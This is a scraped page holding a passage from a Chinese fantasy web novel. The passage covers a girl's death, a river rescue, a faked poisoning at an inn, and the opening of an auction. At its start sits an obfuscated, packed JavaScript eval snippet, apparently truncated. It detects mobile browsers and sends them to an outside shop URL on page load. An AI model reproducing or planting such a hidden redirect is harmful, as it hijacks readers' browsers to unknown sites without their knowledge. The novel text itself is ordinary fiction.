;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084067|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会死……”当世圻擦了擦泪,露出一个比哭还难看的笑,颤着手指抚摸她的头发,“爹爹再去求御符宗宗主,让他救救你……你等着爹爹……” “爹爹……”当春桐朝他伸手,当世圻应了一声,急忙攥进手心里。 “若是……我学会了术法,跟母亲一样得病的人……便不会死了吧?” 当春桐费劲地吐着字,一句一顿。 “哎,我儿若是去学了术法,一定能救很多——很多的人!” 当世圻后悔了,自己当初若是没有阻拦她,该多好。 “爹爹……我,我想跟酒姐姐……他们一起……” 酒当歌强忍泪水,转过脸不去看她,血雀在一旁长长地呼出一口气,身影一闪,消失在了原地。 “下辈子……我……” 当春桐轻轻闭上眼,再没有了任何生息。 …… 大桥被血雀撞得粉碎,唯余几根粗长铁钉还立在原地。 纪泱泱在水里用了避水符,一个巨大的气泡将她裹住,她瞅准河底那一抹白就游了过去。 这人是不是傻,还真没走。 桥下的水膜早已破裂,消失得无影无踪,河水争先恐后地灌进来,腥咸咸的,将白墨轩周围所有的空气全都夺走,于是他干脆任由自己泡在水里。 “你这么恶毒,还有人来救你……”半梦半醒间,他断断续续地听见几个字,像是纪泱泱在碎碎念。 救他? 就让他在这里死了好了,他自暴自弃地想。可那个人影却来到他的身边,费力地将自己抱起,拉进了一个气泡里。 胸膛被断断续续地按压,力气似乎越来越大,像是在泄愤,他咳出几口水来,开始缓慢呼吸。 可自己的耳朵还是被水占满,对于少女的话,一字一句听得都不是很真切。 “白——” 似是嫌白墨轩装聋作哑,纪泱泱用手托起他的脑袋,向右撇过去控了控水,又向左撇,控完后,还贴心地拿裙边擦了擦。 “白同道——白同道——白墨轩!” 他一下子听见了,特别特别清楚。 是他的名字,他的大名,不是阿轩,也不是墨轩,没加任何前缀和后缀,就只是“白墨轩”三个字,听起来却比情话还动听。 “衣服都被你弄湿了。”纪泱泱抱怨着拧了拧衣角,拉着他开始向上游去。 光是传送石和避水符就用光了她所有的灵力,如今纪泱泱施不了任何咒,更别说一会儿还要把带他回郡守府。 纪泱泱费劲地把白墨轩提上岸,半背半拖地开始往前走。 见他睁了眼,纪泱泱捅了捅白墨轩的肚子,开始抱怨:“我说你啊,醒了就赶紧给我自己走……这么大个人,吸了水后死沉死沉的,不知道么?” 白墨轩的脸都快被泡青了,他仍旧伏在纪泱泱肩头,神色发暗。 “我肩膀疼。” “给你撒了药了,疼什么?”纪泱泱吃力地迈步,感觉自己身上像是背了个水鬼,她喘了口气,补充道,“去疤的呢。” 那水鬼一张口,暗哑的声音通过骨头,震得她胸膛发麻:“不需要。” “嘶,你真是——”纪泱泱刚想说什么,远处走来两个人,离近了,她发现那正是出来寻他俩的酒当歌和莫云欲,心下一喜。 “师姐,这边!” 20. 第20章 奇珍楼 横在河面的大桥没了,于是旧路便被重新启用,码头还在原地,工匠以极快的速度修补好,于是船只便又可以往来了。 四人在郡守府呆了一天,参加完当春桐的葬礼后,便乘着夜色登上了船。 说是船,其实是一条画舫,名为“独琚”,仿亭建造,飞檐翘角,船头尖细,船身宽阔,船尾翘起。 画舫上下一共三层:上设栏杆,为赏景场地;中设客舱,布置精美,舒适繁华;下为储物,容纳万千。 几乎所有人都歇下了,画舫上层只有零星几人。 盈凸月挂在夜幕上,河面泛着朦胧的光,被船身犁开一道银亮的水痕,碎浪翻着细白的泡沫,往两侧层层漾开,又在船尾慢慢拢合。 船行往澞水州,远处的河面平展展的,漆黑一片,只有几只大大小小的船飘在上面,如河灯一般。 一夜过去后,画舫靠了岸。 听闻这里最大的拍卖行奇珍楼即将开放,白墨轩要找的东西可能就在其中,于是趁着还有三天时间,纪泱泱四人便找了一客栈住下。 清晨,暖洋洋的太阳透过菱纹格窗洒在桌椅上,大家都在埋头吃饭,讨论着在奇珍楼的参与经历,突然一声尖锐的瓷片碎裂划破了这份宁静。 “这菜有毒!” 如一颗石子投入湖中,溅起万丈水花,在小小的客栈里引起轩然大波。 窗边瞬间围了一圈人,莫云欲也摇着扇子,随酒当歌挤了进去。 白墨轩不爱凑热闹,仍旧坐在原地,纪泱泱则是拿筷子戳着饭,犹豫着要不要继续下口。 肥头大耳的男人脸色青紫,口鼻溢出白沫,横在地上一抽一抽的,他周围的桌椅被翻到倒在地,吃了几口的饭菜也洒在一边。 “这菜是谁做的?!”与他一桌的人纷纷丢掉筷子,怒而拍桌。 “小的在,是小的做的——” 小二是个十五六岁的少年,灰布短褂上沾着柴灰和饭渣,他走过去一瞧,瞬间惊得脸色煞白。 “客官,这不干小的事啊!小的发誓,绝不可能做出下毒败坏招牌的事儿来!”小二瞬间急出一头虚汗,他无助地绞着衣角,脸色通红。 “怕是看他穿金戴银,想毒害他,然后据为己有吧!”一个尖嘴猴腮的男子揣着袖子,出言嘲讽。 掌柜闻声从后厨出来,扒开人群,向他略一抱拳:“敢问阁下尊姓大名?” 男子回他一个礼,语气依旧嘲讽:“在下常客青。” 得到回答后,掌柜犀利的双眸扫向他:“常公子,您说我家小二在饭里下了毒,可有证据?” 常客青指了指地上的男人:“人都躺在这,还要何证据?贵店不仅手段肮脏,道德还败坏——” 话音刚落,男人两眼一翻,头一歪,晕了过去。 “先救人!先救人!” 众人喊着,可谁也没有动弹。 还是酒当歌好心给他喂了颗化毒丹,然而药一落肚,竟是半分作用也不起,眼看男人白沫越吐越多,她急忙朝周围大喊:“谁会医术?有没有人会医术?!” 无一人上前,大家冷漠地往后退着,人群中间露出一位站在原地的矮个子少女来。 她看起来十岁左右,眼睛很大,一身黑,头发一分为二,用极长的白色发带扎在脑袋两边,腰间系着绣满花草的锦囊,一身淡淡的药苦味。 “他不用救,自己会起来的。”少女面无表情地开口,脚尖踢了踢男人的手,又踢了踢他的脸。 男人的眉头微不可察地皱了皱。 “何出此言?”莫云欲展开扇子,疑惑地看着她。 “他的毒是自己下的。”少女一摊手,淡淡补充道。 “哈!谁会给自己下毒?”常客青像是听到了天大的笑话,嗤笑一声,“那不是有病么?” 周围人纷纷附和。 “对啊,这可是人命!” “说得是,看他的衣裳,也不缺钱呐!” 少女看着常客青,默默指了指地上的男人:“你骂他。” 话音刚落,酒当歌“噗嗤”一声笑出口,见常客青瞪了自己一眼,急忙伸手捂住嘴。 常客青眼里充满阴翳,话也阴湿湿的:“小姑娘,那你说说,他为何要给自己下毒?” 少女看着他,声音凛冽:“服用独角草后,一炷香内便会呈中毒样,”她顿了顿,继续道,“但它单服对人体并无伤害,唯独遇到生亓水后会变成剧毒,届时会令人体在顷刻间死亡。” 少女扬起嘴角:“我在出谷前恰好带了一瓶。” 说罢,从身侧锦囊取出装着透明液体的小瓶,拔掉塞子对准肥头大耳的男人,瓶口微斜:“我数三下便倒,三——二——” 男人狠狠咒骂一声,一骨碌从地上爬起来:“算你狠,给我等着!”他用力抹去嘴边的白沫,逃也似的离开了客栈。 常客青见众人的风评瞬间逆转,便立刻朝少女抱拳,露出近乎谄媚的笑:“刚才多有得罪,在下常客青,不知能否交个朋友?” 好一棵墙头草! 酒当歌目瞪口呆。 谁知少女理都不理他,反而转向酒当歌和莫云欲,伸手抱拳:“在下颜如玉。” “酒当歌。” “莫云欲。” 不等二人再与她寒暄一句,颜如玉蓦地转身上楼,只留下了一个冷漠的背影。 常客青尴尬地垂下眼,将手重新放回袖子里,捏紧了拳头。 …… 三天一眨眼就过去了,奇珍楼将于今天夜里开启,四人吃了饭,一路打听着来到楼前。 奇珍楼没什么灵力和财富的限制,但是从亥时起,只给五湖四海闻名而来的道士留了三炷香的进入时间。 届时,拍卖正式开始后,整个 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她扭头看了看别人,发现大家都有说有笑,仿佛只有自己有这种感觉,虽然疑惑,但她也只当自己多想,不去管它。 酒当歌带头,四人选了一个不高不低的位置落座。 左顾右盼中,纪泱泱发现颜如玉也来奇珍楼了,就坐在他们对面偏下的位置,面无表情,双眼放空。 随着时间缓缓流逝,进入的人越来越多,整个楼里人头攒动,沸反盈天。 最后一抹香灰落下,一个白衣女子上前撤掉了香炉,两手一拍,奇珍楼的大门应声而关,同时藻井亮起几颗灯,拍卖正式开始了。 一件件珍稀的灵器、丹药、秘籍被展示了出来,引得台下的道士们竞相竞价,气氛热烈非凡。 莫云欲和酒当歌兴致勃勃地看着,纪泱泱却根本提不起兴趣来,只有笼里一只背覆羽毛的半妖引起了她的短暂关注,其余的,即使再珍贵稀有,她也差不多都跟着师父见过类似的。 纪泱泱无所事事地靠在酒当歌肩上,脑袋一点一点的,最后甚至直接打起盹来。 随着最后一件宝物被一锤定音,周围响起了不少失望的声音,他们都在为一件奇珍楼里没有的宝物而遗憾。 那件宝物便是白墨轩寻找的——地轴。 “诸位稍安勿躁,请歇息片刻,等待藏品展览的开放。”拍卖师的话穿过嘈杂噪音,字字清晰,“自丑时开始,每隔两个时辰,奇珍楼便会开放一层,直到戌时,五层楼全部开放完毕,届时大家便可从顶楼离开了。” 闻听此言,楼里的交谈声达到了最高,大家激动地望向角落空地处缓缓升起的螺旋台阶。 纪泱泱被酒当歌拍醒,睡眼惺忪地跟着看去。 已经有不少人激动地踏上了台阶,他们互相推搡着,一哄而上。 “走吧,咱们也去看看。”酒当歌拉着纪泱泱便走。